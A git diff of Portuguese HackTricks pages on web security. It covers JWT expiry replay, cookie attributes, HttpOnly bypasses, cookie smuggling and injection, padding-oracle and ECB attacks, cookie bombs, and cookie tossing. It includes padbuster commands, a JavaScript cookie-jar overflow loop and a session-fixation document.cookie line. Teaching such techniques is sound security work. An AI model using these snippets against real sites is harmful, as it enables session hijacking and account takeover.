A expiração do token é verificada usando a reivindicação de Payload "exp". Dado que os JWTs são frequentemente empregados sem informações de sessão, é necessária uma manipulação cuidadosa. Em muitas instâncias, capturar e reproduzir o JWT de outro usuário poderia permitir a personificação desse usuário. O RFC do JWT recomenda mitigar ataques de reprodução de JWT utilizando a reivindicação "exp" para definir um tempo de expiração para o token. Além disso, a implementação de verificações relevantes pela aplicação para garantir o processamento desse valor e a rejeição de tokens expirados é crucial. Se o token incluir uma reivindicação "exp" e os limites de tempo de teste permitirem, armazenar o token e reproduzi-lo após o tempo de expiração ter passado é aconselhável. O conteúdo do token, incluindo a análise de timestamp e verificação de expiração (timestamp em UTC), pode ser lido usando a flag -R da ferramenta jwt_tool.
- Um risco de segurança pode estar presente se a aplicação ainda validar o token, pois isso pode implicar que o token nunca poderia expirar.
@ -253,20 +253,20 @@ A expiração do token é verificada usando a reivindicação de Payload "exp".
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
**Dica de recompensa por bugs**: **Inscreva-se** no **Intigriti**, uma plataforma de **recompensas por bugs premium criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma de **recompensas por bugs premium criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
<details>
<summary><strong>Aprenda hacking na AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -9,8 +9,8 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para** os repositórios do [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no GitHub.
</details>
@ -24,7 +24,7 @@ Encontre vulnerabilidades que são mais importantes para que você possa corrigi
## Atributos de Cookies
Os cookies vêm com vários atributos que controlam seu comportamento no navegador do usuário. Aqui está uma visão geral desses atributos de forma mais passiva:
Os cookies vêm com vários atributos que controlam seu comportamento no navegador do usuário. Aqui está uma visão geral desses atributos em uma voz mais passiva:
### Expira e Max-Age
@ -47,9 +47,9 @@ Quando dois cookies têm o mesmo nome, o escolhido para envio é baseado em:
### SameSite
- O atributo `SameSite` dita se os cookies são enviados em solicitações originadas de domínios de terceiros. Ele oferece três configurações:
- **Strict**: Restringe o cookie de ser enviado em solicitações de terceiros.
- **Estrito**: Restringe o cookie de ser enviado em solicitações de terceiros.
- **Lax**: Permite que o cookie seja enviado com solicitações GET iniciadas por sites de terceiros.
- **None**: Permite que o cookie seja enviado de qualquer domínio de terceiros.
- **Nenhum**: Permite que o cookie seja enviado de qualquer domínio de terceiros.
Lembre-se, ao configurar cookies, entender esses atributos pode ajudar a garantir que eles se comportem conforme o esperado em diferentes cenários.
@ -67,7 +67,7 @@ Tabela de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cooki
Um cookie com atributo _**SameSite**_ irá **mitigar ataques CSRF** onde uma sessão logada é necessária.
**\*Observe que a partir do Chrome80 (fev/2019) o comportamento padrão de um cookie sem um atributo samesite** **será lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Observe que temporariamente, após aplicar essa alteração, os **cookies sem uma política SameSite** **no Chrome serão tratados como None** durante os **primeiros 2 minutos e depois como Lax para solicitações POST entre sites de nível superior.**
Observe que temporariamente, após aplicar essa alteração, os **cookies sem uma política SameSite** **no Chrome serão tratados como Nenhum** durante os **primeiros 2 minutos e depois como Lax para solicitações POST entre sites de nível superior.**
## Flags de Cookies
@ -78,8 +78,8 @@ Isso evita que o **cliente** acesse o cookie (por exemplo, via **Javascript**: `
#### **Bypasses**
* Se a página estiver **enviando os cookies como resposta** de uma solicitação (por exemplo, em uma página **PHPinfo**), é possível abusar do XSS para enviar uma solicitação para esta página e **roubar os cookies** da resposta (verifique um exemplo em [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
* Isso poderia ser Bypassed com solicitações **HTTP TRACE** conforme a resposta do servidor (se este método HTTP estiver disponível) refletirá os cookies enviados. Essa técnica é chamada de **Cross-Site Tracking**.
* Essa técnica é evitada por **navegadores modernos ao não permitir o envio de uma solicitação TRACE** a partir do JS. No entanto, alguns bypasses para isso foram encontrados em software específico, como enviar `\r\nTRACE` em vez de `TRACE` para o IE6.0 SP2.
* Isso poderia ser Bypassed com solicitações **HTTP TRACE** como a resposta do servidor (se este método HTTP estiver disponível) refletirá os cookies enviados. Essa técnica é chamada de **Cross-Site Tracking**.
* Essa técnica é evitada por **navegadores modernos ao não permitir o envio de uma solicitação TRACE** de JS. No entanto, alguns bypasses para isso foram encontrados em software específico, como enviar `\r\nTRACE` em vez de `TRACE` para o IE6.0 SP2.
* Outra maneira é a exploração de vulnerabilidades zero/dia dos navegadores.
* É possível **sobrescrever cookies HttpOnly** realizando um ataque de overflow do Cookie Jar:
@ -89,21 +89,21 @@ Isso evita que o **cliente** acesse o cookie (por exemplo, via **Javascript**: `
* É possível usar um ataque de [**Cookie Smuggling**](./#cookie-smuggling) para exfiltrar esses cookies
### Secure
### Seguro
A solicitação enviará o cookie **apenas** em uma solicitação HTTP se a solicitação for transmitida por um canal seguro (tipicamente **HTTPS**).
A solicitação enviará o cookie apenas em uma solicitação HTTP se a solicitação for transmitida por um canal seguro (tipicamente **HTTPS**).
## Prefixos de Cookies
Cookies prefixados com `__Secure-` devem ser definidos juntamente com a flag `secure` em páginas que são seguras por HTTPS.
Cookies prefixados com `__Secure-` devem ser definidos juntamente com a flag `secure` em páginas que são protegidas por HTTPS.
Para cookies prefixados com `__Host-`, várias condições devem ser atendidas:
- Eles devem ser definidos com a flag `secure`.
- Eles devem originar de uma página segura por HTTPS.
- É proibido especificar um domínio para esses cookies, impedindo sua transmissão para subdomínios.
- Eles devem originar de uma página protegida por HTTPS.
- É proibido especificar um domínio para eles, impedindo sua transmissão para subdomínios.
- O caminho para esses cookies deve ser definido como `/`.
É importante observar que cookies prefixados com `__Host-` não podem ser enviados para superdomínios ou subdomínios. Essa restrição ajuda a isolar cookies de aplicativos. Assim, usar o prefixo `__Host-` para todos os cookies de aplicativos pode ser considerado uma boa prática para melhorar a segurança e a isolamento.
É importante observar que cookies prefixados com `__Host-` não podem ser enviados para superdomínios ou subdomínios. Essa restrição ajuda a isolar cookies de aplicativos. Assim, empregar o prefixo `__Host-` para todos os cookies de aplicativos pode ser considerado uma boa prática para melhorar a segurança e a isolamento.
## Ataques de Cookies
@ -145,7 +145,7 @@ Tokens Web JSON (JWT) usados em cookies também podem apresentar vulnerabilidade
### Falsificação de Solicitação entre Sites (CSRF)
Este ataque força um usuário logado a executar ações indesejadas em um aplicativo da web no qual ele está autenticado. Os atacantes podem explorar cookies que são enviados automaticamente com cada solicitação ao site vulnerável.
Este ataque força um usuário logado a executar ações indesejadas em um aplicativo da web no qual ele está autenticado no momento. Os atacantes podem explorar cookies que são enviados automaticamente com cada solicitação ao site vulnerável.
### Cookies Vazios
@ -177,20 +177,20 @@ Isso resulta em `document.cookie` produzindo uma string vazia, indicando corrup
#### Contrabando de Cookies Devido a Problemas de Análise
(Verifique mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/))
Vários servidores web, incluindo os de Java (Jetty, TomCat, Undertow) e Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), lidam incorretamente com strings de cookies devido ao suporte desatualizado do RFC2965. Eles leem um valor de cookie entre aspas duplas como um único valor, mesmo que inclua ponto e vírgula, que normalmente deveria separar pares chave-valor:
Vários servidores web, incluindo os de Java (Jetty, TomCat, Undertow) e Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), lidam incorretamente com strings de cookies devido ao suporte desatualizado ao RFC2965. Eles leem um valor de cookie entre aspas duplas como um único valor, mesmo que inclua ponto e vírgula, que normalmente deveria separar pares chave-valor:
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
#### Vulnerabilidades de Injeção de Cookies
(Consulte mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/))
(Verifique mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/))
A análise incorreta de cookies por servidores, especialmente Undertow, Zope e aqueles que usam `http.cookie.SimpleCookie` e `http.cookie.BaseCookie` do Python, cria oportunidades para ataques de injeção de cookies. Esses servidores falham em delimitar corretamente o início de novos cookies, permitindo que atacantes falsifiquem cookies:
- Undertow espera um novo cookie imediatamente após um valor entre aspas sem ponto e vírgula.
- Zope procura por uma vírgula para iniciar a análise do próximo cookie.
- Zope procura por uma vírgula para começar a analisar o próximo cookie.
- As classes de cookies do Python começam a análise em um caractere de espaço.
Essa vulnerabilidade é particularmente perigosa em aplicações web que dependem de proteção CSRF baseada em cookies, pois permite que atacantes injetem cookies de token CSRF falsificados, potencialmente contornando medidas de segurança. O problema é agravado pelo tratamento de nomes de cookies duplicados pelo Python, onde a última ocorrência substitui as anteriores. Também levanta preocupações para cookies `__Secure-` e `__Host-` em contextos inseguros e pode levar a bypasses de autorização quando cookies são enviados para servidores back-end suscetíveis a falsificação.
Essa vulnerabilidade é particularmente perigosa em aplicações web que dependem de proteção CSRF baseada em cookies, pois permite que atacantes injetem cookies de token CSRF falsificados, potencialmente contornando medidas de segurança. O problema é agravado pelo tratamento de nomes de cookies duplicados pelo Python, onde a última ocorrência substitui as anteriores. Também levanta preocupações para cookies `__Secure-` e `__Host-` em contextos inseguros e poderia levar a bypass de autorização quando cookies são enviados para servidores back-end suscetíveis a falsificação.
### Verificações Extras de Cookies Vulneráveis
@ -202,14 +202,14 @@ Essa vulnerabilidade é particularmente perigosa em aplicações web que depende
* Tente fazer login com 2 dispositivos (ou navegadores) na mesma conta usando o mesmo cookie.
* Verifique se o cookie contém alguma informação e tente modificá-lo.
* Tente criar várias contas com usernames quase iguais e verifique se consegue ver semelhanças.
* Verifique a opção "**lembrar-me**" se existir para ver como funciona. Se existir e puder ser vulnerável, sempre use o cookie de **lembrar-me** sem nenhum outro cookie.
* Verifique a opção de "**lembrar-me**" se existir para ver como funciona. Se existir e puder ser vulnerável, sempre use o cookie de **lembrar-me** sem nenhum outro cookie.
* Verifique se o cookie anterior funciona mesmo depois de você alterar a senha.
#### **Ataques avançados de cookies**
Se o cookie permanecer o mesmo (ou quase) quando você fizer login, isso provavelmente significa que o cookie está relacionado a algum campo de sua conta (provavelmente o nome de usuário). Então você pode:
Se o cookie permanecer o mesmo (ou quase) ao fazer login, isso provavelmente significa que o cookie está relacionado a algum campo de sua conta (provavelmente o nome de usuário). Então você pode:
* Tente criar muitas **contas** com usernames muito **semelhantes** e tente **adivinhar** como o algoritmo está funcionando.
* Tente criar muitas **contas** com usernames muito **similares** e tente **adivinhar** como o algoritmo está funcionando.
* Tente **bruteforce no username**. Se o cookie salvar apenas como um método de autenticação para seu nome de usuário, então você pode criar uma conta com o nome de usuário "**Bmin**" e **bruteforce** cada **bit** do seu cookie porque um dos cookies que você tentará será o pertencente ao "**admin**".
* Tente **Padding** **Oracle** (você pode descriptografar o conteúdo do cookie). Use **padbuster**.
@ -223,11 +223,11 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
```
Padbuster fará várias tentativas e perguntará qual é a condição de erro (aquela que não é válida).
Padbuster fará várias tentativas e perguntará qual condição é a condição de erro (aquela que não é válida).
Em seguida, ele começará a descriptografar o cookie (isso pode levar vários minutos).
Se o ataque for realizado com sucesso, então você poderá tentar criptografar uma string de sua escolha. Por exemplo, se você quiser **criptografar** **user=administrador**.
Se o ataque for realizado com sucesso, então você poderia tentar criptografar uma string de sua escolha. Por exemplo, se você quisesse **criptografar** **user=administrador**.
```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
```
@ -245,12 +245,12 @@ Talvez um cookie possa ter algum valor e ser assinado usando CBC. Então, a inte
**ECB**
Se o cookie for criptografado usando ECB, ele pode ser vulnerável.\
Se o cookie for criptografado usando ECB, pode ser vulnerável.\
Quando você faz login, o cookie que você recebe deve ser sempre o mesmo.
**Como detectar e atacar:**
Crie 2 usuários com dados quase iguais (nome de usuário, senha, e-mail, etc.) e tente descobrir algum padrão dentro do cookie fornecido
Crie 2 usuários com dados quase iguais (nome de usuário, senha, e-mail, etc.) e tente descobrir algum padrão dentro do cookie fornecido.
Crie um usuário chamado, por exemplo, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" e verifique se há algum padrão no cookie (como o ECB criptografa com a mesma chave a cada bloco, os mesmos bytes criptografados podem aparecer se o nome de usuário for criptografado).
@ -277,7 +277,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -7,12 +7,12 @@ Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
**`Cookie bomb`** envolve **adicionar um número significativo de cookies grandes a um domínio e seus subdomínios visando um usuário**. Essa ação resulta no envio de **solicitações HTTP excessivamente grandes** para o servidor, que são posteriormente **rejeitadas pelo servidor**. A consequência disso é a indução de uma Negativa de Serviço (DoS) especificamente direcionada a um usuário dentro desse domínio e seus subdomínios.
**`Cookie bomb`** envolve **adicionar um número significativo de cookies grandes a um domínio e seus subdomínios visando um usuário**. Essa ação resulta no usuário **enviando solicitações HTTP muito grandes** para o servidor, que são posteriormente **rejeitadas pelo servidor**. A consequência disso é a indução de uma negação de serviço (DoS) especificamente direcionada a um usuário dentro desse domínio e seus subdomínios.
Um bom **exemplo** pode ser visto neste relatório: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)

View file

@ -1,19 +1,19 @@
<details>
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
Os navegadores têm um **limite no número de cookies** que podem armazenar para uma página. Então, se por algum motivo você precisar **fazer um cookie desaparecer**, você pode **sobrecarregar o pote de cookies** já que os mais antigos serão deletados primeiro:
Os navegadores têm um **limite no número de cookies** que podem armazenar para uma página. Então, se por algum motivo você precisar **fazer um cookie desaparecer**, você pode **sobrecarregar o pote de cookies** pois os mais antigos serão excluídos antes:
```javascript
// Set many cookies
for (let i = 0; i < 700; i++) {
@ -25,24 +25,25 @@ for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}
```
Observe que cookies de terceiros apontando para um domínio diferente não serão sobrescritos.
Observe que os cookies de terceiros apontando para um domínio diferente não serão sobrescritos.
{% hint style="danger" %}
Este ataque também pode ser usado para **sobrescrever cookies HttpOnly, pois você pode deletá-los e então redefini-los com o valor que desejar**.
Este ataque também pode ser usado para **sobrescrever cookies HttpOnly, pois você pode excluí-lo e depois redefini-lo com o valor desejado**.
Verifique isso neste [**post com um laboratório**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
Confira isso neste [**post com um laboratório**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
{% endhint %}
<details>
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,59 +1,59 @@
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## Descrição
Se um atacante pode **controlar um subdomínio ou o domínio de uma empresa ou encontrar um XSS em um subdomínio**, ele poderá realizar esse ataque.
Se um atacante puder **controlar um subdomínio ou o domínio de uma empresa ou encontrar um XSS em um subdomínio**, ele será capaz de realizar esse ataque.
Como foi indicado na seção de Hacking de Cookies, quando um **cookie é definido para um domínio (especificando-o), ele será usado no domínio e subdomínios.**
{% hint style="danger" %}
Portanto, **um atacante poderá definir para o domínio e subdomínios um cookie específico fazendo algo como** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
Portanto, **um atacante será capaz de definir para o domínio e subdomínios um cookie específico fazendo algo como** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
{% endhint %}
Isso pode ser perigoso, pois o atacante pode:
* **Fixar o cookie da vítima na conta do atacante** para que, se o usuário não perceber, **ele realizará as ações na conta do atacante** e o atacante pode obter algumas informações interessantes (verificar o histórico de buscas do usuário na plataforma, a vítima pode cadastrar seu cartão de crédito na conta...)
* Se o **cookie não mudar após o login**, o atacante pode simplesmente **fixar um cookie**, esperar até que a vítima faça login e então **usar esse cookie para entrar como a vítima**.
* Se o **cookie estiver definindo algum valor inicial** (como no flask onde o **cookie** pode **definir** o **token CSRF** da sessão e esse valor será mantido após o login da vítima), o **atacante pode definir esse valor conhecido e então abusar dele** (nesse cenário, o atacante pode fazer o usuário realizar uma solicitação CSRF, pois ele conhece o token CSRF).
* **Fixar o cookie da vítima na conta do atacante** para que, se o usuário não perceber, **ele realizará as ações na conta do atacante** e o atacante pode obter algumas informações interessantes (verificar o histórico de pesquisas do usuário na plataforma, a vítima pode inserir seu cartão de crédito na conta...)
* Se o **cookie não mudar após o login**, o atacante pode simplesmente **fixar um cookie**, esperar até que a vítima faça login e então **usar esse cookie para fazer login como a vítima**.
* Se o **cookie estiver definindo algum valor inicial** (como no flask onde o **cookie** pode **definir** o **token CSRF** da sessão e esse valor será mantido após o login da vítima), o **atacante pode definir esse valor conhecido e então abusar dele** (neste cenário, o atacante pode então fazer o usuário realizar uma solicitação CSRF, pois ele conhece o token CSRF).
## Ordem dos Cookies
Quando um navegador recebe dois cookies com o mesmo nome **afetando parcialmente o mesmo escopo** (domínio, subdomínios e caminho), o **navegador enviará ambos os valores do cookie** quando ambos forem válidos para a solicitação.
Quando um navegador recebe dois cookies com o mesmo nome **afetando parcialmente o mesmo escopo** (domínio, subdomínios e caminho), o **navegador enviará os dois valores do cookie** quando ambos forem válidos para a solicitação.
Dependendo de quem tem **o caminho mais específico** ou qual é o **mais antigo**, o navegador **definirá o valor do cookie primeiro** e depois o valor do outro, como em: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
